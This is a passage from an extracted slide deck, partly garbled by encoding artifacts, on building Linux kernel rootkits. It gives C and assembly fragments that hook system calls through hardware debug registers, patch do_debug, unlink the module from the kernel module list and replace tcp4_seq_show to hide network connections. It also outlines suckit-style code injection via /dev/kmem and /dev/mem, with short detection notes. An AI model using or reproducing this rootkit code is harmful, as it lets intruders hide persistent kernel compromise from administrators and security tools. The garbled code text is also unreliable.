  • 35. Some breakpoint code /* DR2 2nd watch on the syscall_table entry for this syscall */ dr2 = sys_table_global + (unsigned int)regs->eax * sizeof(void *); /* set dr2 read watch on syscall_table */ __asm__ __volatile__ ( quot;movl %0,%%dr2 ntquot; : : quot;rquot; (dr2) ); /* get dr6 */ __asm__ __volatile__ ( quot;movl %%dr6,%0 ntquot; : quot;=rquot; (status) ); /* enable exact breakpoint detection LE/GE */ s_control |= TRAP_GLOBAL_DR2; s_control |= TRAP_LE; s_control |= TRAP_GE; s_control |= DR_RW_READ << DR2_RW; s_control |= 3 << DR2_LEN; /* set new control .. gives up syscall handler to avoid races */ __asm__ __volatile__ ( quot;movl %0,%%dr6 ntquot; quot;movl %1,%%dr7 ntquot; : : quot;rquot; (status), quot;rquot; (s_control) );
  • 36. Hook do_debug When hardware breakpoints appear, kernel will ๎€Š call do_debug(). BUT orignal do_debug() not set eip to our evil func. So we must hook do_debug() ourself. It means that INT 1 of IDT, will be set ๎€Š hacked_do_debug() insead of do_debug().
  • 37. Find do_debug KPROBE_ENTRY(debug) RING0_INT_FRAME cmpl $sysenter_entry,(%esp) <- find sysenter_entry here too! jne debug_stack_correct FIX_STACK(12, debug_stack_correct, debug_esp_fix_insn) debug_stack_correct: pushl $-1 # mark this as an int CFI_ADJUST_CFA_OFFSET 4 SAVE_ALL xorl %edx,%edx # error code 0 movl %esp,%eax # pt_regs pointer call do_debug <- PATCH ME! jmp ret_from_exception CFI_ENDPROC KPROBE_END(debug)
  • 38. Patch do_debug static int __get_and_set_do_debug_2_6(unsigned int handler, unsigned int my_do_debug) { unsigned char *p = (unsigned char *)handler; unsigned char buf[4] = quot;x00x00x00x00quot;; unsigned int offset = 0, orig = 0; /* find a candidate for the call .. needs better heuristics */ while (p[0] != 0xe8) p ++; buf[0] = p[1]; buf[1] = p[2]; buf[2] = p[3]; buf[3] = p[4]; offset = *(unsigned int *)buf; orig = offset + (unsigned int)p + 5; offset = my_do_debug - (unsigned int)p - 5; p[1] = (offset & 0x000000ff); p[2] = (offset & 0x0000ff00) >> 8; p[3] = (offset & 0x00ff0000) >> 16; p[4] = (offset & 0xff000000) >> 24; return orig; }
  • 39. Debug register hook From hacked_do_debug can then have access ๎€Š to the value of eip representing the return address on the person who triggered the breakpoint, which is the kernel in our case, so you can change at will the flow of execution after the procedure! Changing eip can send a running our routine ๎€Š that once made the 'dirty work' take care to restore the original flow of execution regs->eip = (unsigned int)hook_table[regs->eax];
  • 41. hacked_do_debug hacked_do_debug(): /* get dr6 */ __asm__ __volatile__ ( quot;movl %%dr6,%0 ntquot; : quot;=rquot; (status) ); ...... /* check for trap on dr2 */ if (status & DR_TRAP2) { trap = 2; status &= ~DR_TRAP2; } ...... if ((regs->eax >= 0 && regs->eax < NR_syscalls) && hook_table[regs->eax]) { /* double check .. verify eip matches original */ unsigned int verify_hook = (unsigned int)sys_p[regs->eax]; if (regs->eip == verify_hook) { // ่ฟ™้‡Œ่ฎพ็ฝฎไธ‹ไธ€ๆญฅ็š„ๆ‰ง่กŒๅ‡ฝๆ•ฐ regs->eip = (unsigned int)hook_table[regs->eax]; DEBUGLOG((quot;*** hooked __NR_%d at %X to %Xnquot;, regs->eax, verify_hook, (unsigned int)hook_table[regs->eax])); } } ......
  • 42. More Evil We modified do_debug(), if someone check the ๎€Š address of do_debug(), will find the rootkit. Wait, if we set another hardware breakpoint on ๎€Š do_debug()'s address. It means that we can return someone the wrong address of do_debug(), and can not be detected. Debug Regiser Save us again :-) ๎€Š
  • 43. Real Rootkit Strace system call ๎€Š Hook system call ๎€Š Hide rootkit self ๎€Š
  • 44. Strace system call $strace ls ...... open(quot;.quot;, O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY|0x80000) = 3 fstat64(3, {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 fcntl64(3, F_GETFD) = 0x1 (flags FD_CLOEXEC) getdents64(3, /* 9 entries */, 4096) = 272 getdents64(3, /* 0 entries */, 4096) = 0 close(3) =0 ...... $strace ps ...... stat64(quot;/proc/3105quot;, {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0 open(quot;/proc/3105/statquot;, O_RDONLY) =6 read(6, quot;3105 (kmpathd/0) S 2 0 0 0 -1 41quot;..., 1023) = 130 close(6) =0 ...... $strace netstat -ant ...... open(quot;/proc/net/tcpquot;, O_RDONLY) =3 read(3, quot; sl local_address rem_address quot;..., 4096) = 600 write(1, quot;tcp 0 0 0.0.0.0:21 quot;..., 80) = 80 write(1, quot;tcp 0 0 192.168.122.quot;..., 80) = 80 write(1, quot;tcp 0 0 127.0.0.1:63quot;..., 80) = 80 read(3, quot;quot;, 4096) =0 close(3) =0 ......
  • 45. Hook system call Have be discussed Previously ๎€Š Simple sys_call_table hook ๎€Š Inline hook ๎€Š Patching system_call ๎€Š Abuse Debug Registers ๎€Š
  • 46. Hide module & network struct module *m = &__this_module; /* Delete from the module list*/ if (m->init == init_module) list_del(&m->list); struct proc_dir_entry *tcp = proc_net->subdir->next; /* redefine tcp4_seq_show() */ while (strcmp(tcp->name, quot;tcpquot;) && (tcp != proc_net->subdir)) tcp = tcp->next; /* Hide TCP Connection Information in /proc/net/tcp */ if (tcp != proc_net->subdir) { orig_tcp4_seq_show = ((struct tcp_seq_afinfo *)(tcp->data))->seq_show; ((struct tcp_seq_afinfo *)(tcp->data))->seq_show = hacked_tcp4_seq_show; }
  • 47. Rootkits based on non-LKM Access kernel resource from userspace ๎€Š through some infrastructure of Linux, Mostly based on /dev/kmem and /dev/mem. Famous rootkit ๎€Š suckit ๎€Š
  • 48. /dev/kmem /dev/kmem ๎€Š Kernel space virtual memory snapshot ๎€Š /dev/mem ๎€Š Physical memory snapshot ๎€Š Hacking ๎€Š read/write ๎€Š mmap ๎€Š
  • 49. Using kmalloc based non-LKM code injection The addresses of the syscall table and of the function kmalloc() ๎€Š within the kernel are found by searching kernel memory for certain patterns. The function kmalloc() is internal to the kernel and needed to ๎€Š reserve space in kernel memory. The address of kmalloc() is put into an unused entry of the syscall table. kmalloc() is executed as a system call and memory in the ๎€Š kernel is allocated. The rootkit is written to the freshly reserved space in the kernel. ๎€Š The address of the rootkit is put into the unused entry of the ๎€Š syscall table, overwriting the address of kmalloc(). The rootkit is called as a system call and finally running in ๎€Š kernel mode.
  • 50. Steps of suckit 1.3a Sidt ๎€Š read/mmap /dev/kmem ๎€Š Search fingerprint opcode ๎€Š Set kmalloc into sys_call_table ๎€Š Insert rootkit opcode into kernel(Patching) ๎€Š Hook...... ๎€Š
  • 51. Detection of rootkit based /dev/kmem Most of distributions have disabled /dev/kmem ๎€Š feature. Device Drivers => Character Devices => ๎€Š /dev/kmem virtual device support BUT Debian still has this hole ;-) ๎€Š Detection: ๎€Š Using the same steps to check sys_call_table ๎€Š Using LKM to check sys_call_table ๎€Š
  • 52. /dev/mem /dev/mem ๎€Š Driver interface to physically addressable memory. ๎€Š lseek() to offset in โ€œfileโ€ = offset in physical mem ๎€Š EG: Offset 0x100000 = Physical Address 0x100000 ๎€Š Reads/Writes like a regular character device ๎€Š /dev/mem is same with /dev/kmem ๎€Š Same techniques with Virt -> Phys address ๎€Š translation
  • 53. Address Translation Higher half GDT loading concept applies ๎€Š Bootloader trick to use Virtual Addresses along ๎€Š with GDT in unprotected mode to resolve physical addresses. Kernel usually loaded at 0x100000 (1MB) in ๎€Š physical memory Mapped to 0xC0100000 (3GB+1MB) Virtually ๎€Š
  • 54. Address Translation 0xC0100000 + 0x40000000 =0xC0100000 โ€“ 0xC0000000 =0x00100000
  • 55. /dev/mem's address translation code #define KERN_START 0xC0000000 int iskernaddr(unsigned long addr) { /*is address valid?*/ if(addr<KERN_START) return -1; else return 0 ; } /*read from kernel virtual address*/ int read_virt(unsigned long addr, void *buf, unsigned int len) { if( iskernaddr(addr)<0 ) return -1; addr = addr - KERN_START; lseek(mem_fd, addr, SEEK_SET); return read(mem_fd, buf, len); }
  • 56. Steps of rootkit using /dev/mem and kmalloc Sidt ๎€Š Read /dev/mem [address translation] ๎€Š Search fingerprint opcode ๎€Š Set kmalloc into sys_call_table ๎€Š Insert rootkit opcode into kernel(Patching) ๎€Š Hook...... ๎€Š
  • 57. Detection of rootkit based /dev/mem SELinux has created a patch to address this ๎€Š problem (RHEL and Fedora kernels are safe) Mainline kernel addressed this from 2.6.26 ๎€Š Kernel Hacking => Filter access to /dev/mem ๎€Š Detection: ๎€Š Using the same steps to check sys_call_table ๎€Š Using LKM to check sys_call_table ๎€Š
  • 58. Next BIOS rootkit ๎€Š PCI rootkit ๎€Š Virtualize Machine rootkit ๎€Š subvirt ๎€Š Bootkit ๎€Š NTLDR ๎€Š Grub ๎€Š
  • 59. Reference LKM Rootkits on Linux x86 v2.6: ๎€Š http://www.enye-sec.org/textos/lkm.rootkits.en.linux.x86.v2.6.txt Mistifying the debugger, ultimate stealthness ๎€Š http://www.phrack.com/issues.html?issue=65&id=8 Advances in attacking linux kernel ๎€Š http://darkangel.antifork.org/publications/Advances%20in%20attacking%20linux% Kernel-Land Rootkits ๎€Š http://www.h2hc.com.br/repositorio/2006/Kernel-Land%20Rootkits.pps Intelยฎ 64 and IA-32 Architectures Software Developer's Manuals ๎€Š www.intel.com/products/processor/manuals/ Developing Your Own OS On IBM PC ๎€Š http://docs.huihoo.com/gnu_linux/own_os/index.htm Handling Interrupt Descriptor Table for fun and profit ๎€Š http://www.phrack.org/issues.html?issue=60&id=6 Execution path analysis: finding kernel based rootkits ๎€Š http://www.phrack.org/issues.html?issue=59&id=10 Malicious Code Injection via /dev/mem ๎€Š
  • 61. Q&A